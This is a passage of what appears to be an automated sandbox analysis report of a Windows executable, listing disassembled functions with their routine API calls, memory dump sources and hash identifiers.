                                                                                                            • Part of subcall function 004034E3: __EH_prolog.LIBCMT ref: 004034E8
                                                                                                            • Part of subcall function 0040309D: __EH_prolog.LIBCMT ref: 004030A2
                                                                                                            • Part of subcall function 0040309D: ShowWindow.USER32(00414BE4,00000001,000001F4,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004030FB
                                                                                                            • Part of subcall function 004131E0: CloseHandle.KERNEL32(00000000,00000000,00403035,?,?,00000000,00000003,?,00000000,?,?,00000000,00000000,00000000), ref: 004131EA
                                                                                                            • Part of subcall function 004131E0: GetLastError.KERNEL32(?,00000000,00000000,00000000), ref: 004131F4
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog$CloseErrorHandleLastShowWindow
                                                                                                          • String ID: KA
                                                                                                          • API String ID: 2740091781-4133974868
                                                                                                          • Opcode ID: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
                                                                                                          • Instruction ID: b66072ba2aa71961cefff889ac2f3310996ab01b533407b8592e0c78779ee57e
                                                                                                          • Opcode Fuzzy Hash: 4e9039a6ef41e593bfbb802c2a04a2fdc835dade45d0606e7df40fddacf7360b
                                                                                                          • Instruction Fuzzy Hash: 2F41AF31900249DBCB11EFA5C991AEDBBB8AF14314F1480BFE906B72D2DB385B45CB55
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00408902 Relevance: 3.1, APIs: 2, Instructions: 85COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00408907
                                                                                                          • GetLastError.KERNEL32(00000001,00000000,?,?,00000000,?,?,00408AEB,?,?,?,?,?,?,?,00000000), ref: 00408994
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: ErrorH_prologLast
                                                                                                          • String ID:
                                                                                                          • API String ID: 1057991267-0
                                                                                                          • Opcode ID: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
                                                                                                          • Instruction ID: a8fc1237ba57e47b0ed65f04e9c7bd5e3c99de29461016f9efabf40ab0132a5b
                                                                                                          • Opcode Fuzzy Hash: 3b655691cd2a170c36ef711b3d6cea0560e4eeba85cc05aee82b2e3575fc547f
                                                                                                          • Instruction Fuzzy Hash: 3F3181B19012499FCB10DF95CA859BEBBA0FF04314B14817FE495B72A1CB388D41CB6A
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004051C8 Relevance: 3.1, APIs: 2, Instructions: 54COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 004051CD
                                                                                                            • Part of subcall function 0040511B: __EH_prolog.LIBCMT ref: 00405120
                                                                                                            • Part of subcall function 004058CD: __EH_prolog.LIBCMT ref: 004058D2
                                                                                                          • GetLastError.KERNEL32(?,?,?,?,00000003,?,00000000,?,00000000), ref: 0040522C
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog$ErrorLast
                                                                                                          • String ID:
                                                                                                          • API String ID: 2901101390-0
                                                                                                          • Opcode ID: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
                                                                                                          • Instruction ID: 4ca71d6396368880cce983a38ddafe9bc91d36a7a330c4fa26da9ce64be84c4d
                                                                                                          • Opcode Fuzzy Hash: d33f8126ed8318c7129a01f11b7322f40edc7a38c1873fe00e643a2a39180484
                                                                                                          • Instruction Fuzzy Hash: 43114831C00A059ACF14FBA5D4426EFBB70DF51368F1042BFA462771E28B7C1A4ACE19
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004159F8 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09
                                                                                                            • Part of subcall function 004158B0: GetVersionExA.KERNEL32 ref: 004158CF
                                                                                                          • HeapDestroy.KERNEL32 ref: 00415A48
                                                                                                            • Part of subcall function 00415A55: HeapAlloc.KERNEL32(00000000,00000140,00415A31,000003F8), ref: 00415A62
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Heap$AllocCreateDestroyVersion
                                                                                                          • String ID:
                                                                                                          • API String ID: 2507506473-0
                                                                                                          • Opcode ID: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
                                                                                                          • Instruction ID: d610f17f35f819288534aaa08ec9d41b03b5a17a7fe04688d897b1e7918b3c37
                                                                                                          • Opcode Fuzzy Hash: 825b9816dc88181ec874f225c5ca0d214e5516542b2a7945f872998de4828b81
                                                                                                          • Instruction Fuzzy Hash: 00F03070696A01EBDB206B715DCA7E62A949F84799F104637F540C85A0EB7884C19A1D
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00405ACE Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • SetFilePointer.KERNELBASE(?,?,?,?), ref: 00405AE9
                                                                                                          • GetLastError.KERNEL32(?,?,?,?), ref: 00405AF7
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: ErrorFileLastPointer
                                                                                                          • String ID:
                                                                                                          • API String ID: 2976181284-0
                                                                                                          • Opcode ID: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
                                                                                                          • Instruction ID: ae3098a1e04470c1e0e5e0b92581544958da7485e9b3b22056b888074196ff7d
                                                                                                          • Opcode Fuzzy Hash: 76489df8c25185c5262ec68b9c2ea30a41bcc890bee3aa4ad9f45433592c2f72
                                                                                                          • Instruction Fuzzy Hash: 89F0B7B4504208EFCB14CF54D9448AE7BF9EF49350B108169F815A7390D731AE00DF69
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040BBC9 Relevance: 2.0, APIs: 1, Instructions: 515COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
                                                                                                          • Instruction ID: 754c2283aee26f26976a66738bb4ef570e525f81dc1fbbef9a6f78583ad2e2a8
                                                                                                          • Opcode Fuzzy Hash: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
                                                                                                          • Instruction Fuzzy Hash: 5B325D70904249DFDB10DFA8C584ADEBBB4AF58304F1441AEE855BB3C2CB78AE45CB95
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040280D Relevance: 1.9, APIs: 1, Instructions: 384COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00402812
                                                                                                            • Part of subcall function 00402D80: EnterCriticalSection.KERNEL32(?,?,?,004095B9), ref: 00402D85
                                                                                                            • Part of subcall function 00402D80: LeaveCriticalSection.KERNEL32(?,?,?,?,004095B9), ref: 00402D8F
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalSection$EnterH_prologLeave
                                                                                                          • String ID:
                                                                                                          • API String ID: 367238759-0
                                                                                                          • Opcode ID: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
                                                                                                          • Instruction ID: 6b86c84e82b28a82bfdc9d9b9477fa58d6923614df4f06b31c284573bb568367
                                                                                                          • Opcode Fuzzy Hash: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
                                                                                                          • Instruction Fuzzy Hash: 14F1AD30900249DFCF14EFA5C989ADEBBB4AF54318F14806EE445B72E2DB789A45CF19
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00408A3B Relevance: 1.9, APIs: 1, Instructions: 374COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
                                                                                                          • Instruction ID: 34c7193a5b50bb33ce0ba2a09d23f7b106f418ab12413814a78bbf0ce5505d58
                                                                                                          • Opcode Fuzzy Hash: 463f0c4feddd306d7c1a8d70083033d754a2b3fae2b1194d3c8a033132b27601
                                                                                                          • Instruction Fuzzy Hash: 62E17F70A00249DFCF10DFA4C988AAEBBB4AF58314F2445AEE495F72D1CB389E45CB55
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040EA0B Relevance: 1.8, APIs: 1, Instructions: 255COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 0040EA10
                                                                                                            • Part of subcall function 0040FA43: __EH_prolog.LIBCMT ref: 0040FA48
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 609558a53499a49e72743be03594cb330370f72dde39e5c62d9fac4dd36766c0
                                                                                                          • Instruction ID: 11288496f406677f7bdfcb919023cacd5b8123072d96ac47e6bfd322b071945c
                                                                                                          • Opcode Fuzzy Hash: 609558a53499a49e72743be03594cb330370f72dde39e5c62d9fac4dd36766c0
                                                                                                          • Instruction Fuzzy Hash: 38C14770910269DFDB10DFA5C884BDDBBB4BF14308F1080AEE915B72C2CB786A49CB65
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040F648 Relevance: 1.7, APIs: 1, Instructions: 200COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
                                                                                                          • Instruction ID: 8e2da863e0ec0aed1c7df7ef9f788bacddda9dad52c8f94b50dff24b72cd6dff
                                                                                                          • Opcode Fuzzy Hash: 56d9e38b1f38824fae3835b0a2d2d95e6ef7d2a708d669e2796a4f5ecf1bfba5
                                                                                                          • Instruction Fuzzy Hash: A7814A71E006059BCB24EBA9C481ADEFBB0BF48304F14453EE445B3791DB38A949CB99
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040CFAD Relevance: 1.6, APIs: 1, Instructions: 143COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
                                                                                                          • Instruction ID: 9f9062e63dd4364452e2da1ca70528b8602d2a0ea6fe4ab8d483929f8703c9bd
                                                                                                          • Opcode Fuzzy Hash: 63c8e573d396fc96efa94e1a42408f9b291e1898eda9953334360b92db0a26c8
                                                                                                          • Instruction Fuzzy Hash: 69518C31C04145DBCB15DFA8C884EAA7B71AF45308F1880BBE4157F2D2DA399A4EDB5D
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040C783 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
                                                                                                          • Instruction ID: af1ffdf326ee6b9e8f9f4efb185a7a75328b0af80e7613720a9e9424578e33b6
                                                                                                          • Opcode Fuzzy Hash: f15c909000a7bc487a9015a8e9d061d5051666e8d9c8f725cb2d7f58cfb25987
                                                                                                          • Instruction Fuzzy Hash: A9416D71A00646CFCB24DF58C48496ABBF1FF48314B2486AED096AB392C371ED46CF94
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040D1AB Relevance: 1.6, APIs: 1, Instructions: 89COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 0040D1B0
                                                                                                            • Part of subcall function 0040F8C3: __EH_prolog.LIBCMT ref: 0040F8C8
                                                                                                            • Part of subcall function 0040D2CF: __EH_prolog.LIBCMT ref: 0040D2D4
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
                                                                                                          • Instruction ID: 9d10d91046bd1a4dd32f0e664b06ea8990f5f8cc09720d5c411fd584516079ca
                                                                                                          • Opcode Fuzzy Hash: 580a599ea2fd8de7821de45faa8408fd12c279d3f34bd44459390ae0071a66e9
                                                                                                          • Instruction Fuzzy Hash: 83313031901254DBCB11EFA4C6487EDBBB5AF15304F1440AEE8057B382DB78DE49DBA6
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00404C4A Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 00404C4F
                                                                                                            • Part of subcall function 00405468: __EH_prolog.LIBCMT ref: 0040546D
                                                                                                            • Part of subcall function 00404D6C: __EH_prolog.LIBCMT ref: 00404D71
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 3519838083-0
                                                                                                          • Opcode ID: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
                                                                                                          • Instruction ID: 9114e62b92f145f299bca9ec68259fa3d4e050d8b6bab90f4208dc7235d8fbe8
                                                                                                          • Opcode Fuzzy Hash: 2d58e100b0e8a5684ba942a8d61a2b33c9f58aa7325c5ec0ae0d3fb5809bcd36
                                                                                                          • Instruction Fuzzy Hash: 1A31AF71901209AADF05FFE1E842AEEBF75AF50318F10402FE441332D2CE795A4ADE59
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00413EA3 Relevance: 1.6, APIs: 1, Instructions: 80memoryCOMMONLIBRARYCODE
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 00413F8A
                                                                                                            • Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
                                                                                                            • Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762
                                                                                                          Memory Dump Source
